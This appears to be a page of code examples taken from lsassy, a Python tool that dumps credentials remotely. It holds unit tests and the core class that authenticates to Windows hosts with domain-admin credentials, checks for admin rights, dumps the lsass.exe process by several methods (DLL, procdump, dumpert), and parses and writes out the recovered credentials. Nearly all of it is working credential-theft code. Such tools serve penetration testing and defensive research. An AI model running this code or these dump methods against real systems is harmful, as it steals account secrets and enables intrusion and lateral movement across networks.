Пример #1
0
class test_impacketfile(unittest.TestCase):
    def setUp(self):
        self.log = Logger(Logger.Options(verbosity=0, quiet=True))
        self.conn = ImpacketConnection(
            ImpacketConnection.Options(target, domain, da_login, da_password))
        self.conn.set_logger(self.log)
        self.conn.login()
        self.ifile = ImpacketFile(self.conn, self.log)

    def tearDown(self):
        self.ifile.clean()
        self.conn.clean()

    def test_path_error(self):
        ret = self.ifile.open("RANDOM")
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_PATH_FILE[1], ret.error_msg)

    def test_share_error(self):
        ret = self.ifile.open("RANDOM/path/file")
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_SHARE[1], ret.error_msg)

    def test_file_error(self):
        ret = self.ifile.open("C$/path/file")
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_FILE[1], ret.error_msg)

    def test_file_success(self):
        ret = self.ifile.open("C$/Windows/System32/calc.exe")
        ret.clean()
        self.assertIsInstance(ret, ImpacketFile)
Пример #2
0
class test_dumper_protected(unittest.TestCase):
    def setUp(self):
        self.log = Logger(Logger.Options(verbosity=0, quiet=True))
        self.conn = ImpacketConnection(
            ImpacketConnection.Options(protected_target, domain, da_login,
                                       da_password))
        self.conn.set_logger(self.log)
        self.conn.login()

    def tearDown(self):
        self.conn.clean()

    def test_dump_protected(self):
        dump_option = Dumper.Options()
        dump_option.method = 2
        dump_option.procdump_path = procdump_path
        dumper = Dumper(self.conn, dump_option)
        ret = dumper.dump()
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_LSASS_PROTECTED[1], ret.error_msg)
        dumper.clean()
Пример #3
0
class Lsassy:
    def __init__(self,
                 hostname,
                 username,
                 domain="",
                 password="",
                 lmhash="",
                 nthash="",
                 log_options=Logger.Options(),
                 dump_options=Dumper.Options(),
                 parse_options=Parser.Options(),
                 write_options=Writer.Options()):

        self.conn_options = ImpacketConnection.Options(hostname, domain,
                                                       username, password,
                                                       lmhash, nthash)
        self.log_options = log_options
        self.dump_options = dump_options
        self.parse_options = parse_options
        self.write_options = write_options

        self._target = hostname

        self._log = Logger(self._target, log_options)

        self._conn = None
        self._dumper = None
        self._parser = None
        self._dumpfile = None
        self._credentials = []
        self._writer = None

    def connect(self, options: ImpacketConnection.Options):
        self._conn = ImpacketConnection(options)
        self._conn.set_logger(self._log)
        login_result = self._conn.login()
        if not login_result.success():
            return login_result

        self._log.info("Authenticated")
        return RetCode(ERROR_SUCCESS)

    def dump_lsass(self, options=Dumper.Options()):
        is_admin = self._conn.isadmin()
        if not is_admin.success():
            self._conn.close()
            return is_admin

        self._dumper = Dumper(self._conn, options)
        dump_result = self._dumper.dump()
        if not dump_result.success():
            return dump_result
        self._dumpfile = self._dumper.getfile()

        self._log.info("Process lsass.exe has been dumped")
        return RetCode(ERROR_SUCCESS)

    def parse_lsass(self, options=Dumper.Options()):
        self._parser = Parser(self._dumpfile, options)
        parse_result = self._parser.parse()
        if not parse_result.success():
            return parse_result

        self._credentials = self._parser.get_credentials()
        self._log.info("Process lsass.exe has been parsed")
        return RetCode(ERROR_SUCCESS)

    def write_credentials(self, options=Writer.Options()):
        self._writer = Writer(self._target, self._credentials, self._log,
                              options)
        write_result = self._writer.write()
        if not write_result.success():
            return write_result

        return RetCode(ERROR_SUCCESS)

    def clean(self):
        if self._parser:
            r = self._parser.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        if self._dumper:
            r = self._dumper.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        if self._conn:
            r = self._conn.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        self._log.info("Cleaning complete")

    def get_credentials(self):
        self.log_options.quiet = True
        self.log_options.verbosity = False
        self._log = Logger(self._target, self.log_options)
        self.write_options.format = "none"
        return_code = self.run()
        ret = {"success": True, "credentials": self._credentials}
        if not return_code.success():
            ret["success"] = False
            ret["error_code"] = return_code.error_code
            ret["error_msg"] = return_code.error_msg
            ret["error_exception"] = return_code.error_exception

        return ret

    def run(self):
        return_code = ERROR_UNDEFINED
        try:
            return_code = self._run()
        except KeyboardInterrupt as e:
            print("")
            self._log.warn("Quitting gracefully...")
            return_code = RetCode(ERROR_USER_INTERRUPTION)
        except Exception as e:
            return_code = RetCode(ERROR_UNDEFINED, e)
        finally:
            self.clean()
            lsassy_exit(self._log, return_code)
            return return_code

    def _run(self):
        """
        Extract hashes from arguments
        """

        r = self.connect(self.conn_options)
        if not r.success():
            return r
        r = self.dump_lsass(self.dump_options)
        if not r.success():
            return r
        r = self.parse_lsass(self.parse_options)
        if not r.success():
            return r
        r = self.write_credentials(self.write_options)
        if not r.success():
            return r
        return RetCode(ERROR_SUCCESS)
Пример #4
0
class test_dumper(unittest.TestCase):
    def setUp(self):
        self.log = Logger(Logger.Options(verbosity=0, quiet=True))
        self.conn = ImpacketConnection(
            ImpacketConnection.Options(target, domain, da_login, da_password))
        self.conn.set_logger(self.log)
        self.conn.login()

    def tearDown(self):
        self.conn.clean()

    """
    DLL Method
    """

    def test_dll_dump_invalid_shell(self):
        ret = Dumper(self.conn).dll_dump(("wmi", ), "unknown")
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg)

    def test_dll_execute_error(self):
        ret = Dumper(self.conn).dll_dump((), "cmd")
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_DLL_NO_EXECUTE[1], ret.error_msg)

    def test_dll_execute_success(self):
        ret = Dumper(self.conn).dll_dump(("task", ), "cmd")
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)

    """
    Procdump Method
    """

    def test_procdump_missing_parameter(self):
        ret = Dumper(self.conn).procdump_dump(("wmi", ))
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_PROCDUMP_NOT_PROVIDED[1], ret.error_msg)

    def test_procdump_invalid_parameter(self):
        dump_option = Dumper.Options()
        dump_option.procdump_path = "/invalid/path"
        ret = Dumper(self.conn, dump_option).procdump_dump(())
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_PROCDUMP_NOT_FOUND[1], ret.error_msg)

    @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
    def test_procdump_upload_error(self):
        dump_option = Dumper.Options()
        dump_option.procdump_path = procdump_path
        dump_option.share = "INVALID_SHARE"
        ret = Dumper(self.conn, dump_option).procdump_dump(())
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_PROCDUMP_NOT_UPLOADED[1], ret.error_msg)

    @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
    def test_procdump_execute_error(self):
        dump_option = Dumper.Options()
        dump_option.procdump_path = procdump_path
        dump = Dumper(self.conn, dump_option)
        ret = dump.procdump_dump(())
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_PROCDUMP_NO_EXECUTE[1], ret.error_msg)
        dump.clean()

    """
    Dumpert Method
    """

    def test_dumpert_missing_parameter(self):
        ret = Dumper(self.conn).dumpert_dump(("wmi", ))
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_DUMPERT_NOT_PROVIDED[1], ret.error_msg)

    def test_dumpert_invalid_parameter(self):
        dump_option = Dumper.Options()
        dump_option.dumpert_path = "/invalid/path"
        ret = Dumper(self.conn, dump_option).dumpert_dump(())
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_DUMPERT_NOT_FOUND[1], ret.error_msg)

    @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided")
    def test_dumpert_upload_error(self):
        dump_option = Dumper.Options()
        dump_option.dumpert_path = dumpert_path
        dump_option.share = "INVALID_SHARE"
        ret = Dumper(self.conn, dump_option).dumpert_dump(())
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_DUMPERT_NOT_UPLOADED[1], ret.error_msg)

    @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided")
    def test_dumpert_execute_error(self):
        dump_option = Dumper.Options()
        dump_option.dumpert_path = dumpert_path
        dumper = Dumper(self.conn, dump_option)
        ret = dumper.dumpert_dump(())
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_DUMPERT_NO_EXECUTE[1], ret.error_msg)
        dumper.clean()

    """
    Dump generic
    """

    def test_dump_method_unknown(self):
        dump_option = Dumper.Options()
        dump_option.method = 99
        ret = Dumper(self.conn, dump_option).dump()
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg)

    def test_dump_success(self):
        dumper = Dumper(self.conn)
        ret = dumper.dump()
        dumper.clean()
        self.assertIsInstance(ret, RetCode)
        self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)